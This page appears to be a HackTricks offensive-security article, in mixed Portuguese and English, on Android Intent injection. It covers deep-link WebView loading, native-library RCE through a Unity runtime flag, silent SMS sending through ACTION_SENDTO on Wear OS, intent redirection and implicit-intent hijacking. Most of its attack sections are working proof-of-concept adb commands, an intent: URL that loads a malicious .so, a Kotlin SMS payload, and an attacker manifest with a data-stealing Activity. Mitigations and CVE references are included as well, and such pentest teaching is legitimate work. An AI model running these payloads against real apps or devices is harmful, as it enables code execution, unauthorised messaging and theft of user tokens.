Intent Injection
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Intent injection abusa de componentes que aceitam Intents controlados pelo atacante ou dados que depois são convertidos em Intents. Dois padrões muito comuns durante pentests de apps Android são:
- Enviar extras manipulados para Activities/Services/BroadcastReceivers exportados que são posteriormente encaminhados para componentes privilegiados e não-exportados.
- Acionar deep links exportados VIEW/BROWSABLE que encaminham URLs controladas pelo atacante para WebViews internas ou outros sinks sensíveis.
Deep links → WebView sink (URL parameter injection)
Se um app expõe um deep link com esquema customizado como:
myscheme://com.example.app/web?url=<attacker_url>
e a Activity receptora encaminha o parâmetro de consulta url para um WebView, você pode forçar o app a renderizar conteúdo remoto arbitrário no contexto do próprio WebView.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impacto
- HTML/JS é executado dentro do perfil WebView do aplicativo.
- Se JavaScript estiver habilitado (por padrão ou devido a verificações fora de ordem), você pode enumerar/usar quaisquer objetos
@JavascriptInterfaceexpostos, roubar cookies/local storage do WebView e pivotar.
See also:
Bug na ordem das verificações que habilita JavaScript
Um bug recorrente é habilitar JavaScript (ou outras configurações permissivas do WebView) antes da allowlist/verificação final da URL terminar. Se helpers iniciais aceitarem seu deep link e o WebView for configurado primeiro, o carregamento final ocorrerá com JavaScript já habilitado mesmo que verificações posteriores estejam incorretas ou cheguem tarde demais.
O que procurar no código decompilado:
- Múltiplos helpers que analisam/dividem/reconstroem a URL de forma diferente (normalização inconsistente).
- Chamadas para
getSettings().setJavaScriptEnabled(true)antes da última verificação de allowlist de host/path. - Um pipeline como: analisar → validação parcial → configurar WebView → verificação final → loadUrl.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Aplicativos Android baseados em Unity normalmente usam com.unity3d.player.UnityPlayerActivity (ou UnityPlayerGameActivity) como Activity de entrada. O template Android da Unity trata um extra de Intent especial chamado unity como uma string de flags de linha de comando para o runtime Unity. Quando a Activity de entrada está exportada (padrão em muitos templates), qualquer app local – e às vezes um site se BROWSABLE estiver presente – pode fornecer esse extra.
Uma flag perigosa e não documentada leva à execução de código nativo durante a inicialização muito precoce do processo:
- Flag oculta:
-xrsdk-pre-init-library <absolute-path> - Efeito:
dlopen(<absolute-path>, RTLD_NOW)muito cedo na init, carregando um ELF controlado pelo atacante dentro do processo do app alvo com seu UID e permissões.
Trecho de engenharia reversa (simplificado):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Why it works
- The Intent extra
unityé parseado em Unity runtime flags. - Supplying the pre-init flag aponta Unity para um caminho ELF controlado pelo attacker dentro de um allowed linker namespace path (veja as constraints abaixo).
Conditions for exploitation
- A Unity entry Activity está exportada (comumente true por padrão).
- For one-click remote via browser: a entry Activity também declara
android.intent.category.BROWSABLEpara que extras possam ser passados a partir de uma URLintent:.
Local exploitation (same device)
- Place a payload ELF em um caminho legível pelo victim app. Easiest: ship uma biblioteca maliciosa no seu próprio attacker app e garanta que ela seja extraída under
/data/app/.../lib/<abi>/definindo no attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Inicie a Unity activity da vítima com a flag pre-init do CLI no extra
unity. Exemplo ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); seu payload é executado no processo da vítima, herdando todas as permissões do app (camera/mic/network/storage, etc.) e acesso às sessões/dados dentro do app.
Notas
- O caminho exato
/data/app/...varia entre dispositivos/instalações. Um app atacante pode recuperar seu próprio native lib dir em tempo de execução viagetApplicationInfo().nativeLibraryDire comunicar isso ao trigger. - O arquivo não precisa terminar com
.sose for um ELF válido –dlopen()se importa com os cabeçalhos ELF, não com as extensões.
One‑click remoto via navegador (condicional)
Se a entry activity do Unity estiver exportada com BROWSABLE, um site pode passar extras via uma URL intent::
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
No entanto, no Android moderno os namespaces do linker dinâmico e o SELinux bloqueiam o carregamento a partir de muitos caminhos públicos (por exemplo, /sdcard/Download). Você verá erros como:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.
Confused‑Deputy: SMS/MMS silencioso via ACTION_SENDTO (Wear OS Google Messages)
Alguns aplicativos de mensagens padrão executam incorretamente intents de mensagem implícitos automaticamente, transformando-os em uma primitiva Confused‑Deputy: qualquer app sem privilégios pode disparar Intent.ACTION_SENDTO com sms:, smsto:, mms:, ou mmsto: e causar um envio imediato sem uma UI de confirmação e sem a permissão SEND_SMS.
Pontos-chave
- Gatilho:
ACTION_SENDTOimplícito + esquema de URI de mensagens. - Dados: defina o destinatário na URI, o texto da mensagem no extra
"sms_body". - Permissões: nenhuma (sem
SEND_SMS), depende do handler padrão de SMS/MMS. - Observado: Google Messages for Wear OS (corrigido em maio de 2025). Outros handlers devem ser avaliados de forma semelhante.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (sem permissões especiais)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Expansão da superfície de ataque (Wear OS)
- Any component capable of launching activities can fire the same payload: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.
Pentest checklist
- Resolve
ACTION_SENDTOon target to identify the default handler; verify whether it shows a compose UI or silently sends. - Exercise all four schemes (
sms:,smsto:,mms:,mmsto:) and extras (sms_body, optionallysubjectfor MMS) to check behaviour differences. - Consider charged destinations/premium‑rate numbers when testing on real devices.
Other classic Intent injection primitives
- startActivity/sendBroadcast using attacker-supplied
Intentextras that are later re-parsed (Intent.parseUri(...)) and executed. - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.
Automatizando testes de componentes exportados (Smali-driven ADB generation)
When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Abordagem: decompile e escaneie Smali em busca de chamadas como
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()para inferir quais extras e campos são consumidos por cada componente. - Output: para every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact
adb shell am .../cmd content ...command with correctly typed flags.
Instalar
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Uso
python apk-components-inspector.py target.apk
Exemplo de saída
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras — guia rápido (flags sensíveis ao tipo)
- Strings:
--es key value| String array:--esa key v1,v2 - Integers:
--ei key 123| Int array:--eia key 1,2,3 - Booleans:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Common flags:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Dicas para Providers
- Use
adb shell cmd content query|insert|update|delete ...para acessar ContentProviders sem agentes. - Para sondagem de SQLi, varie
--projectione--where(também chamado selection) quando o provider subjacente for baseado em SQLite.
Automação de pipeline completa (executor interativo)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Script auxiliar para analisar e executar comandos adb
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)
</details>
Run on-device: o inspector é baseado em Python e funciona no Termux ou em telefones rootados onde `apktool`/`androguard` estão disponíveis.
---
## Intent Redirection (CWE-926) – identificação e exploração
Pattern
- Um ponto de entrada exportado (Activity/Service/Receiver) lê um Intent recebido e o encaminha interna ou externamente sem validar a origem/dados, por exemplo:
- `startActivity(getIntent())`
- `startActivity(intent)` onde `intent` veio de um extra como `redirect_intent`/`next_intent`/`pending_intent` ou `Intent.parseUri(...)`.
- Confiar nos campos `action`/`data`/`component` sem verificações; não verificar a identidade do chamador.
What to search in Smali/Java
- Usos de `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Chamadas diretas a `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` em Intents influenciados por um atacante.
- Ausência de verificações `getCallingPackage()`/`getCallingActivity()` ou de restrições de permissão personalizadas.
ADB PoC templates
- Proxy Activity encaminhando um Intent extra para uma Activity interna privilegiada:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Serviço exportado que respeita um parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Receiver exportado que reencaminha sem validação:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags úteis para comportamento no estilo singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Exemplos do mundo real (impacto varia):
- CVE-2024-26131 (Element Android): fluxos exportados levando a manipulação de WebView, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION→ efeitos a nível de sistema. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirecionamento → acesso arbitrário a arquivos (com interação do usuário).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak conteúdo.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Modelo de ameaça
- App A espera um resultado sensível do App B usando um implicit Intent (ex.: um OAuth redirect, um resultado de document picker, um retorno IMAGE_CAPTURE, ou uma custom callback action).
- App atacante C publica um componente exportado com um
<intent-filter>correspondente para a mesmaaction/category/data. Quando B resolve o implicit Intent, o resolver pode apresentar um chooser; se o usuário escolher C (ou configurá-lo como padrão), o payload é entregue ao componente atacante em vez de A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Esqueleto do Handler:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Notas
- A especificidade da correspondência importa (action + categories + data). Quanto mais específico o filtro de C para o Intent de saída de B, maior a probabilidade de ele ser exibido ou selecionado automaticamente.
- Isso também se aplica a deep links (
VIEW+BROWSABLE) quando apps esperam que outro app trate uma URL e retorne algo.
Pentest guidance
- Grep o alvo por chamadas
startActivity/startActivityForResult/registerForActivityResultusando Intents não explícitos. - Inspecione Intents que carregam tokens em
extras,clipData, ougetData()e veja se um terceiro poderia registrar um filtro compatível. - Recomende substituir fluxos implícitos por Intents explícitos (set
setPackage()/setComponent()), ou exigir caller-permission/signed permissions em receivers/services exportados.
Mitigações
- Prefira Intents explícitos para fluxos sensíveis (callbacks, tokens, resultados de autenticação).
- Quando cross-app for necessário, adicione requisitos de permissão ao componente receptor e valide a identidade do caller.
- Limite e restrinja os Intent filters apenas ao que for estritamente necessário (scheme/host/path/MIME).
Observando as decisões do resolver (FLAG_DEBUG_LOG_RESOLUTION)
Quando você controla o sender, adicione Intent.FLAG_DEBUG_LOG_RESOLUTION a um Intent implícito para fazer o Android logar como a resolução acontece e qual componente será selecionado.
Exemplo:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
O que você verá em adb logcat é o rastreamento da resolução e o componente final, por exemplo com.android.camera2/com.android.camera.CaptureActivity.
Dica de CLI
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Isto é útil para enumerar os manipuladores candidatos em um dispositivo/emulador e confirmar exatamente qual componente receberá um Intent durante os testes.
References
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


